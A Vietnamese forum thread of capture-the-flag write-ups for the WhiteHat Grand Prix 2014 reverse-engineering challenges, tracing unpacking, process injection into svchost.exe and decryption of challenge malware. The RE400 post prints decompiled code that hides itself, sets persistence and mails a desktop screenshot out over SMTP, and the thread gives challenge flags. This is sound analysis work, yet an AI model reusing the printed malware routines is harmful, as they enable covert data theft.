[Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

BkavCR

VIP Members
27/09/2013
104
203 bài viết
[Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014
Topic này được tạo để các bạn viết, trao đổi thảo luận về Writeup Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014.

Đề thi: Mời bạn đăng nhập vào trang http://grandprix.whitehat.vn/ bằng tài khoản và mật khẩu WhiteHat Forum để lấy đề thi.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

Bài RE 500:
Bài này chia làm 2 phần:
- Phần 1: Dump đoạn lấy được code phần gốc của malware
- Phần 2: Giải mã tring

Phần 1: Tìm code gốc của malware

Bắt đầu debug file mal.exe
14908930971.png


File “mal.exe” sẽ load 1 thư viện “msi.dll”
14908930972.png

Thư viện “msi.dll” sẽ đọc file “msi.dll.mov” và thực thi code trong file “msi.dll.mov”
14908930973.png

Mở file “msi.dll.mov”

14908930974.png

Đọc file “msi.dll.mov”

14908930975.png

Thực thi code của file “msi.dll.mov” vừa đọc được

Tiếp theo nó sẽ tạo 1 tiến trình “svchost.exe” và inject code vào tiến trình đó.
14908930976.png

Create process “svchost.exe”
14908930977.png

Inject code vào tiến trình “svchost.exe” vừa mới tạo

Tiếp theo ta phải attack vào tiến trình svchost để unpack lấy code chính của malware
14908930978.png

Attack vào tiến trình “svchost.exe” được inject

Tiếp theo ta tiến hành Unpack để lấy code chính của malware -> Đặt breakpoint tại địa chỉ “904FD” -> khi chạy đến địa chỉ đó thì bầm F7 sẽ đến đoạn code được Unpack
14908930979.png

Unpack code

149089309710.png

Code đã được Unpack xong.

Sau khi đã Unpack xong ở trên olly ta dump code xuống IDA và phân tích tĩnh.
->Kết thúc phần 1. Unpack lấy code chính của malware

Phần 2: Giải mã String

149089309711.png

Hàm thực hiện giải mã

Code giải mã string
DWORD DecryptedString(__in STRING_INFO_ENCRYPTED *stringInfoEncrypted, __out STRING_INFO_DECRYPTED *stringInfoDecypted)
{
DWORD dwLengthStringEncrypt = stringInfoEncrypted->dwLength - 4;
DWORD dwKey1 = *(DWORD *)stringInfoEncrypted->szString;
DWORD dwKey2 = 0x20140613;

*(DWORD *)stringInfoEncrypted->szString = stringInfoDecypted->dwKey;

stringInfoEncrypted->dwLength = stringInfoEncrypted->dwLength + 4;

CHAR byKey3 = 0;

for (int i = 0; i < dwLengthStringEncrypt; i++)
{
dwKey1 = dwKey1 + 0xC34F;
dwKey2 = dwKey2 - 0x7525;

byKey3 = (char)((*(((char *)&dwKey1) + 2) ^ (*(((char *)&dwKey1)) - *(((char *)&dwKey1) + 1))) - *(((char *)&dwKey1) + 3));

stringInfoDecypted->szString = stringInfoEncrypted->szString[i + 4];

stringInfoDecypted->szString = stringInfoDecypted->szString ^ (((*(((char *)&dwKey2) + 2) ^ (*(((char *)&dwKey2)) ^ byKey3) - *(((char *)&dwKey2) + 1))) - *(((char *)&dwKey2) + 3));
}

return ERROR_SUCCESS;
}


Sau khi tiến hành giải mã thu được flag

Mã:
WhiteHat{3B3F3A414F717C7330F2BFA9BC1820E535B24B1C}
addr offset - 20d50 - VA:942150
FD5F2E057B5A7950172424C110108E9ACFFEF3F2DB6A36A6A3547B7EE8A05811C6DA18F9ACA69C1FB5E7B5DF1EE627245B7A5D023EF3
1.png

2.png

3.png

4.png

5.png

6.png

7.png

8.png

9.png

10.png

11.png
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

RE400:
Tool: SAE, de4dot


Target là 1 file .NET. Mở ra và chuyển đến hàm main() để xem code:
ib04GXIJxSFRf8.png



Có 1 method tên là decryptandloadresource(), và chương trình sẽ invoke 1 method có tên là "Do" sau khi data đã được decrypt và load lên. Xem thử code của decryptandloadresource:
Mã:
// きせげユぞぉぉ.ぉとユげキケ
public Type decryptandloadresources()
{
   Type result;
   using (MemoryStream せゾブユぉぉ = ケユきババネ.せゾブユぉぉ) //Lấy data từ resource
   {
       byte[] コせとォォブ = せゾブユぉぉ.ToArray(); //chuyển thành byte array
       int num = 12;
       result = this.Decrypt_resource(コせとォォブ, this.せブブげげゾ, 23).GetTypes()[num]; //Decrypt Resource và lấy method với index xác định
   }
   return result;
}
code khởi tạo data cho this.せブブげげゾ:
iMJzJczvvE5TB.png

Đây tạm gọi là password để decrypt resource:
Code method Decrypt_Resource():
Mã:
private Assembly Decrypt_resource(byte[] コせとォォブ, byte[] ゾせネバゾコ, int きげゾコユぞ)
{
   int index = 0;
   byte[] buffer = コせとォォブ;
   for (int i = 0; i < buffer.Length; i++)
   {
       byte num1 = buffer[i];
       コせとォォブ[index] = (byte) (コせとォォブ[index] ^ ((byte) ((ゾせネバゾコ[index % ((int) ゾせネバゾコ.Length)] >> ((index++ + きげゾコユぞ) + ゾせネバゾコ.Length)) & 0xff)));
   }
   return AppDomain.CurrentDomain.Load(コせとォォブ);
}
Save Resource có trong app lại thành 1 file với tên là "obj". Sau đó build decryptor dựa trên code đã có (chỉnh lại 1 chút):
Mã:
using System;
using System.Text;
using System.IO;


namespace Decrypt_Resource
{
    class MainClass
    {
        public static void Main()
        {
            byte[] buffer = File.ReadAllBytes("obj"); //Get Encrypted data
            Decrypt_resource(buffer,Password(),0x17); //Invoke Decryption method
        }
        public static void Decrypt_resource(byte[] Inbuffer, byte[] Inpass, int mnum)
        {
            int index = 0;
            byte[] buffer = Inbuffer;
            for (int i = 0; i < buffer.Length; i++)
            {
                byte num1 = buffer[i];
                Inbuffer[index] = (byte) (Inbuffer[index] ^ ((byte) ((Inpass[index % ((int) Inpass.Length)] >> ((index++ + mnum) + Inpass.Length)) & 0xff)));
            }
            File.WriteAllBytes("Decrypted.dll", Inbuffer); //Save decrypted data to file
        }
        public static byte[] Password() //Lấy password decrypt
        {
            return Encoding.UTF8.GetBytes("DoBGgtaiFaynDuU");
        }
    }
}
Build, run, ta có 1 file Decrypted.dll, mở file này lên bằng SAE, và tìm đến method Do():
Mã:
// Exec.Job
public void Do()
{
   string a = "true";
   string a2 = "true";
   string a3 = "true";
   string text = "breakfast";
   string a4 = "melt";
   string a5 = "yesfake";
   string s = "1";
   string a6 = "false";
   string a7 = "true";
   if (a7 == "true")
   {
       Thread.Sleep(60000);
   }
   if (a == "true")
   {
       this.Startup(text, a2 != "true", a3 != "false");
   }
   if (a4 != "none")
   {
       if (a4 == "hide")
       {
           this.Hide(Application.ExecutablePath);
           this.Hide(Path.Combine(Path.GetTempPath(), text + ".exe"));
       }
       else
       {
           this.SetUndeletable(Application.ExecutablePath);
           this.SetUndeletable(Path.Combine(Path.GetTempPath(), text + ".exe"));
       }
   }
   if (a5 == "yesfake")
   {
       this.FakeError();
   }
   if (a6 == "true")
   {
       this.DownloadFile();
   }
   this.HandleBoundFiles();
   byte[] data = this.ReadResource("Res"); //Load Resource
   this.Begin(data, int.Parse(s));
}


Ở phần cuối có method ReadResource(), code:
Mã:
// Exec.Job
public byte[] ReadResource(string Name)
{
   ResourceManager resourceManager = new ResourceManager(Name, Assembly.GetExecutingAssembly()); //Init resourceManager
   byte[] compressed = (byte[])resourceManager.GetObject("data"); //get resource named "data" in current assembly
   return new LZ4Decompressor32().Decompress(compressed);//Decompress using LZ4
}
Save resource của file Decrypted.dll lại, download code LZ4Sharp tại: https://github.com/stangelandcl/LZ4Sharp/tree/master/LZ4Sharp và compile (.NET4), tạo 1 app mới và reference LZ4Sharp.dll vào, sau đó viết code:
Mã:
using System;
using System.IO;
using LZ4Sharp;


namespace a
{
    class Program
    {
        public static void Main()
        {
            byte[] Decrypted_2 =  new LZ4Decompressor32().Decompress(File.ReadAllBytes("data"));
            File.WriteAllBytes("out.dll", Decrypted_2);            
        }
    }
}
File có tên là out.dll được tạo ra, clean bằng de4dot. Mở lên và đi vòng quanh 1 lượt, gặp code sau:
Mã:
// Dark.Core
public static void smethod_3(string string_2)
{
   try
   {
       Stream contentStream = Core.smethod_17(Core.smethod_16(), ImageFormat.Jpeg);
       SmtpClient smtpClient = new SmtpClient();
       MailMessage mailMessage = new MailMessage();
       smtpClient.Credentials = new NetworkCredential(NativeMethods.GiaiMaString("]kcjh`o,..2;gdq`)^jh"), NativeMethods.GiaiMaString("ap^f]mdi"));
       smtpClient.Port = 587;
       smtpClient.Host = "Smtp.live.com";
       mailMessage = new MailMessage
       {
           From = new MailAddress(NativeMethods.GiaiMaString("]kcjh`o,..2;gdq`)^jh"))
       };
       mailMessage.To.Add(NativeMethods.GiaiMaString("]kcjh`o,..2;gdq`)^jh"));
       mailMessage.Subject = NativeMethods.GiaiMaString("Rcdo`Cov+2.0,@.-2>/.=.31.,.41,@--4+3/xu001c"); //Encrypted Flag
       mailMessage.Body = "Your Flag is set in the email subject! Can u read ?";
       new ContentType("image/jpeg");
       mailMessage.Attachments.Add(new Attachment(contentStream, NativeMethods.GiaiMaString("N^m``incjo)ek`b")));
       smtpClient.EnableSsl = true;
       smtpClient.Send(mailMessage);
   }
   catch (Exception projectError)
   {
       ProjectData.SetProjectError(projectError);
       ProjectData.ClearProjectError();
   }
}
Flag đã bị encrypted và được decrypt bằng mehtod GiaiMaString(). Lấy token của method này:
Mã:
/* Token: 0x06000001 */
/* RVA: 0x2198 */
.method public hidebysig static String GiaiMaString(String string_1)
.maxstack 3


Token = 06000001
Sử dụng de4dot với file out-cleaned.dll với posfix param:
Mã:
de4dot out-cleaned.dll --strtyp delegate --strtok 06000001
Kết quả:
iebFoiXk9ce2w.png

Mở file mới tạo ra, tìm đến method Dark.Core.method_3()(code ở trên):
iQr1Ss1On31tR.png
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

RE300:
Tool: OllyDbg 2


Target là 1 file dll. Load vào OllyDbg và Search for String, gặp 1 string khả nghi:
Mã:
Search - Text strings referenced in diskm2, item 168
  Address = 1000D38C
  Command = PUSH OFFSET diskm2.10018C90
  Comments = ASCII "XUUU_CS0/f28L/28L8F+/4E69T39vMC1/7z6K6v4rKntbWvsq/jsa/e5eKn4ODe4q+zs7K1s6au4+G0pq+n3qa14uDq/PHz8L/Q5vDzAvq/4vUC/fO/3fzz9gX2AP7z9vz9v9AC8fX2AAK/t9Di3dC2u7/09/YA97/v8fz19gMC8L/+8vP8+v7z9gC/A/bw8/H2AfLz9vz9v/wFvwL1Av3z8L/z/L/w8gHwAPH2Afb9BL"...
Double-click để trở về CPU Windows, có thấy 1 đoạn code như sau:
Mã:
CPU Disasm
Address   Hex dump          Command                                  Comments                                                            Label
1000D37D    6A 00           PUSH 0
1000D37F    8D85 3061FFFF   LEA EAX,[EBP+FFFF6130]
1000D385    50              PUSH EAX
1000D386    FF15 24530110   CALL DWORD PTR DS:[
1000D38C    68 908C0110     PUSH OFFSET diskm2.10018C90              ASCII "XUUU_CS0/f28L/28L8F+/4E69T39vMC1/7z6K6v4rKntbWvsq/jsa/e5eKn4
1000D391    68 D0A40110     PUSH OFFSET diskm2.1001A4D0
1000D396    E8 D054FFFF     CALL diskm2.1000286B
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

Mình hỏi chút về bài Re500.
Mình có làm đến bước tương tự phần 2, theo như writeup thì là tiến hành giải mã, tuy nhiên mình không rõ các tham số đầu vào là như thế nào để ra flag? Mình có đặt BP ở hàm đó và run trực tiếp tuy nhiên không thấy chuỗi output nào khả quan. Mình rất hoang mang 12.gif
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

777Sortlist-Facebook-Stickers.png
.851578_387545534704664_1337680792_n.png

777Sortlist-Facebook-Stickers.png
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

:rolleyes: Tập luyện cho WhiteHat Grand Prix 2015 chăng?
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

Đoán thì không chuẩn nhưng vẫn khen vì đã up giùm.

780Sortlist-Facebook-Stickers.png
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

"tuy nhiên mình không rõ các tham số đầu vào là như thế nào để ra flag?."


Câu hỏi của bạn chưa rõ phần nào?.


- Tham số truyền vào trong đề thi (Hàm trong file binary).
- Hay tham số truyền vào trong hàm DecryptedString.
- Hay data đã bị lấy ở đâu trong file để truyền vào hàm DecryptedString.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

Mặc dù câu hỏi của mình đã rất rõ ràng và mình không hiểu ý đồ của bạn, tuy nhiên mình vẫn có thể nhắc lại là mình hỏi tham số truyền vào của hàm DecryptedString.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

Đọc code giải mã bạn sẽ thấy điều đó thôi.

Cái tham số __in STRING_INFO_ENCRYPTED *stringInfoEncrypted: (Đầu vào) nó là 1 cấu trúc chưa thông tin của data đã bị mã hóa. Nó gồm 2 trường

STRING_INFO_ENCRYPTED
{
DWORD dwLength;
CHAR szString[MAX_PATH];
};

Tham số thứ 2 là __out STRING_INFO_DECRYPTED *stringInfoDecypted (Đầu ra) Nó chưa thông tin của data sau khi được giải mã. Cũng gồm 2 trường:

STRING_INFO_DECRYPTED
{
DWORD dwKey;
CHAR szString[MAX_PATH];
};
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

Có khi nào tồn tại hai nhân cách trong con người bạn không, sao mình cứ thấy kỳ kỳ.
Các topic bạn lập cũng văn minh phết mà.

surrender.png
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

Up cho một ngày thu tuyệt vời :*

beauty.png
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

Bí ẩn lớn nhất trong Whitehat GrandPrix 2014, phải chăng đây là một bài không có lời giải.

after_boom.png
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Writeup] Chủ đề Reverse - Vòng Chung kết WhiteHat Grand Prix 2014

Up. .

still_dreaming.png
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên